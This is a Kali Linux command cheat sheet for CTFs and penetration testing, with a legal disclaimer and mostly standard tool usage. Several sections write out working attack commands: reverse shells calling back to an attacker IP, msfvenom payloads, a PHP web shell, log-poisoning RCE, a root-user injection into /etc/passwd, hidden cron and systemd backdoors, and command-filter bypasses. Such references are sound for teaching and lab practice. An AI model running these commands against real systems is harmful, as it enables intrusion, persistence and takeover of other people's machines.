Kali Linux CTF Command Guide by CYBER MIND SPACE

A comprehensive guide for penetration testing and CTF challenges

⚖️ Legal & Ethics Reminder

IMPORTANT: These tools and commands are for educational purposes, authorized penetration testing, and CTF environments only. Never use these techniques against systems you don't own or lack explicit permission to test. Always follow responsible disclosure practices and respect applicable laws.

📋 Quick Index

1. Reconnaissance
2. Network Scanning
3. Web Application Testing
4. Directory/URL Brute Force
5. Exploitation
6. SMB/Windows Enumeration
7. Password Attacks

8. SSH/Remote Access
9. Reverse Shells & Listeners
10. File Transfer & Web Servers
11. Post-Exploitation & Privilege Escalation
12. Persistence & Cron
13. Forensics & Logs
14. Useful Shell Tricks
15. System & Package Management
16. Wireless Tools
17. Pickle Rick / Mr Robot Quick Tips
18. One-Page Cheat Sheet

Reconnaissance

1. `nslookup`

Description: Query DNS records for domain information. **Key flags**: `-type=MX`, `-type=TXT`, `-type=NS`

```
nslookup example.com
nslookup -type=MX example.com
```

2. `dig`

Description: Advanced DNS lookup tool with detailed output. **Key flags**: `+short`, `@8.8.8.8`, `-x` (reverse lookup)

```
dig example.com
dig @8.8.8.8 example.com ANY +noall +answer
```

3. `whois`

Description: Get domain registration and ownership information. **Key flags**: `-h` (specify whois server)

```
whois example.com
whois 10.10.10.10
```

4. `host`

Description: Simple DNS lookup utility. **Key flags**: `-a` (all records), `-t` (specify type)

```
host example.com
host -a example.com
```

5. `dnsrecon`

Description: DNS reconnaissance tool for enumeration and zone transfers. **Key flags**: `-d` (domain), `-t` (type), `-D` (dictionary)

```
dnsrecon -d example.com -t std
dnsrecon -d example.com -D /usr/share/wordlists/dnsmap.txt -t brt
```

6. `fierce`

Description: DNS scanner for locating non-contiguous IP space and hostnames. **Key flags**: `--domain`, `--subdomain-file`

```
fierce --domain example.com
fierce --domain example.com --subdomain-file /usr/share/fierce/hosts.txt
```

7. `theHarvester`

Description: Gather emails, subdomains, hosts, employee names from public sources. **Key flags**: `-d` (domain), `-b` (data source), `-l` (limit)

```
theharvester -d example.com -b google -l 500
theharvester -d example.com -b all -f results.xml
```

8. `sublist3r`

Description: Fast subdomains enumeration tool. **Key flags**: `-d` (domain), `-b` (bruteforce), `-p` (ports)

```
sublist3r -d example.com
sublist3r -d example.com -b -p 80,443,8080
```

Network Scanning

1. `nmap`

Description: Network discovery and security auditing tool. **Key flags**: `-sS` (SYN scan), `-sV` (version), `-A` (aggressive), `-p-` (all ports)

```
nmap -sS -sV -O 10.10.10.10
nmap -p- --min-rate=1000 -T4 10.10.10.0/24
nmap -sC -sV -p 80,443,22 10.10.10.10
```

2. `masscan`

Description: Ultra-fast port scanner for large networks. **Key flags**: `-p` (ports), `--rate` (packets/sec), `-oG` (output)

```
masscan -p1-65535 10.10.10.0/24 --rate=1000
masscan -p80,443,22,21 10.10.10.0/24 --rate=10000 -oG results.txt
```

3. `rustscan`

Description: Modern port scanner with nmap integration. **Key flags**: `-a` (addresses), `-p` (ports), `--` (nmap args)

```
rustscan -a 10.10.10.10 -- -sV -sC
rustscan -a 10.10.10.0/24 -p 22,80,443
```

4. `unicornscan`

Description: Asynchronous network stimulus delivery tool. **Key flags**: `-mT` (TCP), `-mU` (UDP), `-I` (immediate)

```
unicornscan -mT -I 10.10.10.10:1-65535
unicornscan -mU 10.10.10.10:53,161,69,123
```

5. `zmap`

Description: Fast single packet network scanner. **Key flags**: `-p` (port), `-o` (output), `-B` (bandwidth)

```
zmap -p 80 10.10.10.0/24
zmap -p 22 -o results.txt 10.10.10.0/24
```

6. `netdiscover`

Description: Active/passive ARP reconnaissance tool. **Key flags**: `-i` (interface), `-r` (range), `-P` (passive)

```
netdiscover -r 10.10.10.0/24
netdiscover -i eth0 -P
```

7. `arp-scan`

Description: ARP scanning and fingerprinting tool. **Key flags**: `-l` (local network), `-I` (interface)

```
arp-scan -l
arp-scan -I eth0 10.10.10.0/24
```

8. `fping`

Description: Send ICMP echo probes to network hosts. **Key flags**: `-a` (alive only), `-g` (generate), `-c` (count)

```
fping -a -g 10.10.10.0/24
fping -c 3 10.10.10.10 10.10.10.11
```

Web Application Testing

1. `nikto`

Description: Web server vulnerability scanner. **Key flags**: `-h` (host), `-p` (port), `-ssl`, `-output`

```
nikto -h http://10.10.10.10
nikto -h https://10.10.10.10 -ssl -port 443
```

2. `dirb`

Description: Web content directory scanner. **Key flags**: `-r` (non-recursive), `-X` (extensions), `-z` (delay)

```
dirb http://10.10.10.10/ /usr/share/dirb/wordlists/common.txt
dirb http://10.10.10.10/ -X .php,.html,.txt
```

3. `gobuster`

Description: Fast directory/file & DNS busting tool. **Key flags**: `dir` (directory mode), `-u` (URL), `-w` (wordlist), `-x` (extensions)

```
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt
```

4. `wfuzz`

Description: Web application security fuzzer. **Key flags**: `-c` (colorize), `-w` (wordlist), `--hc` (hide code), `FUZZ`

```
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://10.10.10.10/FUZZ
wfuzz -c -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt --hc 404 http://10.10.10.10/login.php?user=FUZZ&pass=FUZ2Z
```

5. `whatweb`

Description: Web technology identifier. **Key flags**: `-v` (verbose), `-a` (aggression level 1-4)

```
whatweb http://10.10.10.10
whatweb -v -a 3 http://10.10.10.10
```

6. `curl`

Description: Transfer data to/from servers. **Key flags**: `-I` (HEAD), `-X` (method), `-H` (header), `-d` (data)

```
curl -I http://10.10.10.10
curl -X POST -H "Content-Type: application/json" -d '{"user":"admin"}'
http://10.10.10.10/api
curl -s http://10.10.10.10/robots.txt
```

7. `wget`

Description: Download files from web servers. **Key flags**: `-r` (recursive), `-np` (no parent), `-R` (reject), `--mirror`

```
wget -r -np -R "index.html*" http://10.10.10.10/uploads/
wget --mirror -p --convert-links http://10.10.10.10/
```

8. `burpsuite`

Description: Web application security testing platform. **Usage**: GUI-based intercepting proxy and scanner

```
burpsuite &
# Configure browser proxy to 127.0.0.1:8080
```

9. `sqlmap`

Description: Automatic SQL injection and database takeover tool. **Key flags**: `-u` (URL), `--dbs` (databases), `--dump`, `--batch`

```
sqlmap -u "http://10.10.10.10/search.php?id=1" --dbs
sqlmap -u "http://10.10.10.10/search.php?id=1" --dump -D webapp -T users --batch
```

Directory/URL Brute Force

1. `gobuster` (Alternative syntax)

Description: Directory enumeration with different modes. **Modes**: `dir`, `dns`, `vhost`

```
gobuster dir -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
gobuster vhost -u http://example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

2. `ffuf`

Description: Fast web fuzzer written in Go. **Key flags**: `-u` (URL), `-w` (wordlist), `-mc` (match codes), `-fs` (filter size)

```
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200
ffuf -u http://10.10.10.10/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 1234
```

3. `dirsearch`

Description: Advanced web path scanner. **Key flags**: `-u` (URL), `-e` (extensions), `-t` (threads), `-r` (recursive)

```
dirsearch -u http://10.10.10.10 -e php,html,js,txt -t 50
dirsearch -u http://10.10.10.10 -e php -r -R 2
```

4. `feroxbuster`

Description: Fast, simple, recursive content discovery tool. **Key flags**: `-u` (URL), `-w` (wordlist), `-x` (extensions), `-t` (threads)

```
feroxbuster -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,html
```

```
feroxbuster -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

Exploitation

1. `searchsploit`

Description: Search exploit database offline. **Key flags**: `-x` (examine), `-m` (mirror/copy), `--www` (online)

```
searchsploit apache 2.4
searchsploit -m 47887
searchsploit --www wordpress
```

2. `msfconsole`

Description: Metasploit Framework console interface. **Key commands**: `search`, `use`, `set`, `exploit`

```
msfconsole
# search type:exploit platform:linux apache
# use exploit/linux/http/apache_mod_cgi_bash_env_exec
```

```
# set RHOSTS 10.10.10.10
# exploit
```

3. `msfvenom`

Description: Metasploit payload generator. **Key flags**: `-p` (payload), `-f` (format), `-a` (architecture), `LHOST`, `LPORT`

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f elf >
shell.elf
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f exe >
shell.exe
msfvenom -p php/reverse_php LHOST=10.10.14.10 LPORT=4444 -f raw > shell.php
```

4. `john`

Description: John the Ripper password cracker. **Key flags**: `--wordlist`, `--rules`, `--format`

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
```

5. `hashcat`

Description: Advanced password recovery utility. **Key flags**: `-m` (hash type), `-a` (attack mode), `-o` (output)

```
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 -a 0 shadow.txt /usr/share/wordlists/rockyou.txt --force
```

6. `hydra`

Description: Network login password cracker. **Key flags**: `-l` (login), `-P` (password list), `-t` (threads), `-f` (exit on first success)

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
hydra -L users.txt -P passwords.txt -f -t 4 ftp://10.10.10.10
```

7. `crackmapexec`

Description: Swiss army knife for pentesting networks. **Key protocols**: `smb`, `ssh`, `winrm`

```
crackmapexec smb 10.10.10.10 -u administrator -p password123
crackmapexec ssh 10.10.10.0/24 -u root -p /usr/share/wordlists/rockyou.txt --
continue-on-success
```

SMB/Windows Enumeration

1. `enum4linux`

Description: SMB enumeration tool for Linux. **Key flags**: `-a` (all), `-U` (users), `-S` (shares), `-G` (groups)

```
enum4linux -a 10.10.10.10
enum4linux -U -S 10.10.10.10
```

2. `smbclient`

Description: SMB/CIFS client for Unix. **Key flags**: `-L` (list), `-N` (no password), `-U` (username)

```
smbclient -L //10.10.10.10 -N
smbclient //10.10.10.10/share$ -N
smbclient //10.10.10.10/C$ -U administrator
```

3. `smbmap`

Description: SMB share enumeration tool. **Key flags**: `-H` (host), `-u` (username), `-p` (password), `-R` (recursive)

```
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u anonymous -p ""
smbmap -H 10.10.10.10 -u administrator -p password123 -R
```

4. `rpcclient`

Description: MS-RPC client tool. **Key commands**: `enumdomusers`, `enumalsgroups`, `queryuser`

```
rpcclient -U "" -N 10.10.10.10
# enumdomusers
# queryuser 0x1f4
# enumalsgroups domain
```

5. `nbtscan`

Description: NetBIOS name scanner. **Key flags**: `-r` (UDP source port), `-v` (verbose)

```
nbtscan 10.10.10.0/24
nbtscan -v 10.10.10.10
```

6. `nmblookup`

Description: NetBIOS name resolution tool. **Key flags**: `-A` (node status)

```
nmblookup -A 10.10.10.10
nmblookup WORKGROUP
```

Password Attacks

1. `hydra` (Extended)

Description: Various protocol brute force attacks. **Supported protocols**: http-get, http-post-form, ssh, ftp, smb

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-get /admin
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form
"/login.php:user=^USER^&pass=^PASS^:Invalid"
```

2. `medusa`

Description: Parallel brute force tool. **Key flags**: `-h` (host), `-u` (user), `-P` (password file), `-M` (module)

```
medusa -h 10.10.10.10 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh
medusa -h 10.10.10.10 -u administrator -P passwords.txt -M smbnt
```

3. `ncrack`

Description: Network authentication cracking tool. **Key flags**: `-v` (verbose), `-f` (quit on first success), `-T` (timing)

```
ncrack -v -f --user admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
ncrack -v -T5 ftp://10.10.10.10 -u administrator -P passwords.txt
```

4. `patator`

Description: Multi-purpose brute forcer with modular design. **Modules**: ssh_login, ftp_login, http_fuzz

```
patator ssh_login host=10.10.10.10 user=root password=FILE0
0=/usr/share/wordlists/rockyou.txt
patator http_fuzz url=http://10.10.10.10/login method=POST
body='user=admin&pass=FILE0' 0=/usr/share/wordlists/rockyou.txt
```

SSH/Remote Access

1. `ssh`

Description: Secure Shell client for remote access. **Key flags**: `-i` (identity file), `-p` (port), `-L` (local port forward), `-R` (remote port forward)

```
ssh user@10.10.10.10
ssh -i id_rsa user@10.10.10.10
ssh -L 8080:localhost:80 user@10.10.10.10
ssh -R 4444:localhost:4444 user@10.10.10.10
```

2. `ssh-keygen`

Description: Generate SSH key pairs. **Key flags**: `-t` (type), `-b` (bits), `-f` (filename)

```
ssh-keygen -t rsa -b 4096 -f mykey
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519
```

3. `scp`

Description: Secure copy files over SSH. **Key flags**: `-r` (recursive), `-P` (port), `-i` (identity file)

```
scp file.txt user@10.10.10.10:/tmp/
scp -r /local/dir user@10.10.10.10:/remote/dir
scp -i id_rsa user@10.10.10.10:/etc/passwd .
```

4. `sftp`

Description: Secure File Transfer Protocol client. **Commands**: `get`, `put`, `ls`, `cd`

```
sftp user@10.10.10.10
# get /etc/passwd
# put localfile.txt
# ls -la
```

Reverse Shells & Listeners

1. `nc` (netcat)

Description: Swiss army knife for TCP/UDP connections. **Key flags**: `-l` (listen), `-p` (port), `-e` (execute), `-v` (verbose)

```
# Listener
nc -nlvp 4444

# Connect back (from target)
nc 10.10.14.10 4444 -e /bin/bash
nc -c /bin/bash 10.10.14.10 4444
```

2. `ncat`

Description: Modern netcat with SSL support. **Key flags**: `--ssl`, `--chat`, `--exec`

```
# SSL listener
ncat --ssl -nlvp 4444

# SSL reverse shell
ncat --ssl 10.10.14.10 4444 -e /bin/bash
```

3. Bash TCP

Description: Pure bash reverse shell.

```bash
# One-liner reverse shell
bash -i >& /dev/tcp/10.10.14.10/4444 0>&1

# Alternative
bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'
```

4. Python Reverse Shell

Description: Python-based reverse shell.

```bash
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
("10.10.14.10",4444));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

5. PHP Reverse Shell

Description: PHP-based reverse shell.

```bash
php -r '$sock=fsockopen("10.10.14.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

6. `socat`

Description: Advanced netcat replacement. **Key options**: `TCP-LISTEN`, `EXEC`, `PTY`

```
# Listener with PTY
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Reverse shell with PTY
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.10:4444
```

File Transfer & Web Servers

1. Python HTTP Server

Description: Quick HTTP server for file sharing.

```
# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Custom port and directory
python3 -m http.server 9000 --bind 0.0.0.0 --directory /var/www/html
```

2. PHP HTTP Server

Description: Built-in PHP web server.

```
php -S 0.0.0.0:8000
php -S 0.0.0.0:8000 -t /var/www/html
```

3. `wget`

Description: Download files from target.

```
wget http://10.10.14.10:8000/linpeas.sh
wget -r -np -nH --cut-dirs=1 http://10.10.14.10:8000/tools/
```

4. `curl`

Description: Transfer files with various protocols.

```
curl -O http://10.10.14.10:8000/exploit.py
curl -T file.txt ftp://10.10.14.10/
curl -X POST -F "file=@data.txt" http://10.10.14.10:8000/upload
```

5. Base64 Transfer

Description: Encode/decode files for text-based transfer.

```
# Encode (attacker)
base64 -w 0 file.txt
```

```
# Decode (target)
echo "SGVsbG8gV29ybGQ=" | base64 -d > file.txt
```

6. `updog`

Description: Modern replacement for Python HTTP server.

```
updog -d /var/www/html -p 8000
updog --password secret123
```

Post-Exploitation & Privilege Escalation

1. `sudo -l`

Description: List sudo privileges for current user.

```
sudo -l
sudo -l -U username
```

2. `find` (SUID/SGID)

Description: Find files with special permissions.

```
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc
```

3. LinPEAS

Description: Linux privilege escalation awesome script.

```
curl -L https://github.com/carlospolop/PEASS-
ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh -a 2>/dev/null | tee linpeas_output.txt
```

4. LinEnum

Description: Linux enumeration script.

```
./LinEnum.sh -t -k password -r report -e /tmp/ -s
```

5. `ps aux`

Description: Process enumeration.

```
ps aux
ps aux | grep root
```

```
ps -eo pid,user,group,command
```

6. `netstat`

Description: Network connection enumeration.

```
netstat -tulpn
netstat -an | grep LISTEN
ss -tulpn
```

7. `/etc/passwd` & `/etc/shadow`

Description: User account enumeration.

```
cat /etc/passwd
cat /etc/shadow 2>/dev/null
getent passwd
```

8. `crontab`

Description: Check scheduled tasks.

```
crontab -l
cat /etc/crontab
```

```
ls -la /etc/cron.*
cat /var/log/cron*
```

Persistence & Cron

1. Crontab Persistence

Description: Add persistent tasks via cron.

```
# List current user crontabs
crontab -l

# Edit crontab
crontab -e
# Add: */5 * * * * /tmp/.hidden/backdoor.sh

# System-wide cron
echo '*/10 * * * * root /tmp/.system/maintain.sh' >> /etc/crontab
```

2. SSH Keys

Description: Add SSH public key for persistence.

```
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
```

3. Systemd Service

Description: Create persistent systemd service.

```
cat > /etc/systemd/system/myservice.service << EOF
[Unit]
Description=System Maintenance

[Service]
ExecStart=/tmp/.hidden/service.sh
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl enable myservice
systemctl start myservice
```

Forensics & Logs

1. `/var/log/auth.log`

Description: Authentication log analysis.

```
cat /var/log/auth.log | grep ssh
tail -f /var/log/auth.log
grep "Failed password" /var/log/auth.log | tail -20
```

2. `last`

Description: Show last logged in users.

```
last
last -a
lastlog
```

3. `history`

Description: Command history analysis.

```
history
cat ~/.bash_history
```

```
cat ~/.zsh_history
find /home -name ".*history" -exec cat {} \;
```

4. Log Rotation

Description: Check compressed/rotated logs.

```
ls -la /var/log/*.log*
zcat /var/log/auth.log.1.gz | grep ssh
```

5. `strings`

Description: Extract printable strings from binary files.

```
strings /bin/suspicious_binary
strings -n 8 memory.dump | grep -i password
```

Useful Shell Tricks

1. TTY Upgrade

Description: Upgrade simple shell to full TTY.

```
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

# Then:
export TERM=xterm
# Ctrl+Z (background)
stty raw -echo; fg
# Press Enter twice
```

2. SUID Binary Exploitation

Description: Common SUID binary abuses.

```
# Find SUID binaries
find / -perm -4000 2>/dev/null

# Example exploits:
/bin/cp /etc/passwd /tmp/passwd.bak && echo
'toor:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
/usr/bin/vim -c ':!/bin/bash'
/usr/bin/find /etc -name "passwd" -exec /bin/bash \;
```

3. File Redirection Tricks

Description: Alternative file operations.

```
# Read files without cat
while IFS= read -r line; do echo "$line"; done < /etc/passwd
head -n 20 /etc/passwd
tail -f /var/log/auth.log

# Write files without direct access
echo "data" > /tmp/output.txt
printf "line1\nline2\n" > /tmp/multiline.txt
```

4. Process Substitution

Description: Use command output as file input.

```
diff <(ps aux) <(sleep 1; ps aux)
comm -23 <(sort file1) <(sort file2)
```

5. Background Jobs & Nohup

Description: Run commands in background.

```
# Background job
./long_script.sh &
```

```
# Keep running after logout
nohup ./long_script.sh &

# List jobs
jobs
fg %1
```

6. Alternative Command Execution

Description: Bypass command restrictions.

```
# Using different separators
ls;whoami
ls&&whoami
ls||whoami
ls`whoami`
ls$(whoami)

# Character encoding bypass
$(printf "\x2f\x62\x69\x6e\x2f\x73\x68")  # /bin/sh
```

System & Package Management

1. `dpkg`

Description: Debian package management. **Key flags**: `-l` (list), `-i` (install), `-r` (remove), `-L` (list files)

```
dpkg -l | grep -i apache
dpkg -L apache2
dpkg -i package.deb
```

2. `apt`

Description: Advanced Package Tool. **Key commands**: `update`, `upgrade`, `install`, `search`

```
apt update && apt upgrade -y
apt install gobuster feroxbuster
apt search "web scanner"
apt show nikto
```

3. `systemctl`

Description: Control systemd services. **Key commands**: `status`, `start`, `stop`, `enable`, `disable`

```
systemctl status apache2
systemctl start ssh
```

```
systemctl enable postgresql
systemctl list-unit-files --type=service
```

4. `service`

Description: Control system services (SysV).

```
service apache2 start
service ssh status
service --status-all
```

5. `update-alternatives`

Description: Manage symbolic links to alternative commands.

```
update-alternatives --config python
update-alternatives --list python
```

6. `pip/pip3`

Description: Python package installer.

```
pip3 install impacket
pip install --user bloodhound
pip list | grep -i exploit
```

Wireless Tools

1. `iwconfig`

Description: Configure wireless network interface.

```
iwconfig
iwconfig wlan0 mode monitor
iwconfig wlan0 channel 6
```

2. `airmon-ng`

Description: Enable monitor mode on wireless interfaces.

```
airmon-ng check kill
airmon-ng start wlan0
airmon-ng stop wlan0mon
```

3. `airodump-ng`

Description: Capture 802.11 frames. **Key flags**: `-c` (channel), `--bssid`, `-w` (write)

```
airodump-ng wlan0mon
```

```
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
```

4. `aireplay-ng`

Description: Inject frames to accelerate cracking. **Key flags**: `--deauth`, `-a` (AP), `-c` (client)

```
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
```

5. `aircrack-ng`

Description: WEP and WPA-PSK key cracker. **Key flags**: `-w` (wordlist), `-b` (BSSID)

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
aircrack-ng -b AA:BB:CC:DD:EE:FF capture.cap
```

6. `reaver`

Description: WPS PIN attack tool. **Key flags**: `-i` (interface), `-b` (BSSID), `-v` (verbose)

```
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -v
wash -i wlan0mon
```

7. `wifite`

Description: Automated wireless attack tool.

```
wifite
wifite --wpa --dict /usr/share/wordlists/rockyou.txt
```

Pickle Rick / Mr Robot Quick Tips

1. File Reading Without cat

```
# When cat is disabled
head /etc/passwd
tail /etc/passwd
less /etc/passwd
more /etc/passwd
nl /etc/passwd
```

2. Command Execution Alternatives

```
# When standard commands are filtered
$(whoami)
`whoami`
```

```
printf "$(ls)"
echo * | tr ' ' '\n'
```

3. Web Shell File Upload

```
# Simple PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Usage: http://target/shell.php?cmd=whoami
```

4. Quick Python HTTP Server

```
# Serve current directory
python3 -m http.server 8000 &
# Or in background with nohup
nohup python3 -m http.server 8000 > /dev/null 2>&1 &
```

5. SSH Key Generation & Usage

```
# Generate key pair
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
# Copy public key to target
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
```

6. Find Interesting Files

```
# Find files with specific extensions
find /var/www -name "*.txt" -o -name "*.bak" 2>/dev/null
# Find recently modified files
find /home -mtime -1 2>/dev/null
```

7. Quick Privilege Check

```
# Check sudo permissions
sudo -l
# Check SUID binaries
find / -perm -4000 -type f 2>/dev/null | head -20
```

8. Network Service Enumeration

```
# Quick port scan
ss -tulpn | grep LISTEN
netstat -tulpn | grep LISTEN
# Check running processes
ps aux | grep -v "\["
```

9. Reverse Shell One-liner

```
# Bash reverse shell
bash -i >& /dev/tcp/10.10.14.10/4444 0>&1
# Python reverse shell (short)
python3 -c 'import
os,pty,socket;s=socket.socket();s.connect(("10.10.14.10",4444));
[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
```

10. Directory Traversal & File Access

```
# Access files through web directory traversal
curl "http://10.10.10.10/page.php?file=../../../etc/passwd"
# LFI to RCE via log poisoning
curl -A "<?php system(\$_GET['c']); ?>" "http://10.10.10.10/page.php?
file=/var/log/apache2/access.log&c=whoami"
```

One-Page Cheat Sheet

Essential Nmap Scans

```
nmap -sS -sV -O TARGET                    # SYN + Version + OS
nmap -sC -sV -p- TARGET                   # Default scripts + All ports
nmap -p 80,443 --script vuln TARGET       # Vulnerability scan
```

Web Enumeration

```
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
nikto -h http://TARGET
whatweb TARGET
```

Reverse Shells

```
nc -nlvp 4444                             # Listener
bash -i >& /dev/tcp/ATTACKER/4444 0>&1    # Bash shell
python3 -c 'import pty; pty.spawn("/bin/bash")'  # TTY upgrade
```

File Transfer

```
python3 -m http.server 8000               # HTTP server
wget http://ATTACKER:8000/file            # Download file
scp file user@TARGET:/tmp/                # SCP transfer
```

SMB Enumeration

```
smbclient -L //TARGET -N                    # List shares
enum4linux -a TARGET                       # Full enumeration
smbmap -H TARGET                            # Share permissions
```

Password Attacks

```
hydra -l user -P rockyou.txt ssh://TARGET
john --wordlist=rockyou.txt hashes.txt
hashcat -m 0 -a 0 hashes.txt rockyou.txt
```

Privilege Escalation

```
sudo -l                                     # Sudo permissions
find / -perm -4000 2>/dev/null             # SUID binaries
./linpeas.sh                               # Automated enum
```

SQL Injection

```
sqlmap -u "http://TARGET/page.php?id=1" --dbs
sqlmap -u TARGET --dump -D database -T table
```

Metasploit

```
msfconsole
search apache 2.4
use exploit/path/to/exploit
set RHOSTS TARGET
exploit
```

Essential Wordlists

```
/usr/share/wordlists/rockyou.txt          # Passwords
/usr/share/dirb/wordlists/common.txt      # Directories
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

Quick Commands

```
# Find world-writable files
find / -writable 2>/dev/null | grep -v proc

# Check listening ports
ss -tulpn | grep LISTEN

# Search for passwords in files
grep -r -i "password" /var/www/ 2>/dev/null
```

```
# Base64 encode/decode
echo "text" | base64
echo "dGV4dAo=" | base64 -d
```

CTF-Specific Tips

- Always check `/robots.txt`, `/sitemap.xml`
- Look for backup files: `.bak`, `.old`, `.backup`
- Try default credentials: `admin:admin`, `admin:password`
- Check source code comments for hints
- Test for directory traversal: `../../../etc/passwd`
- Look for hidden directories: `.git`, `.svn`, `.DS_Store`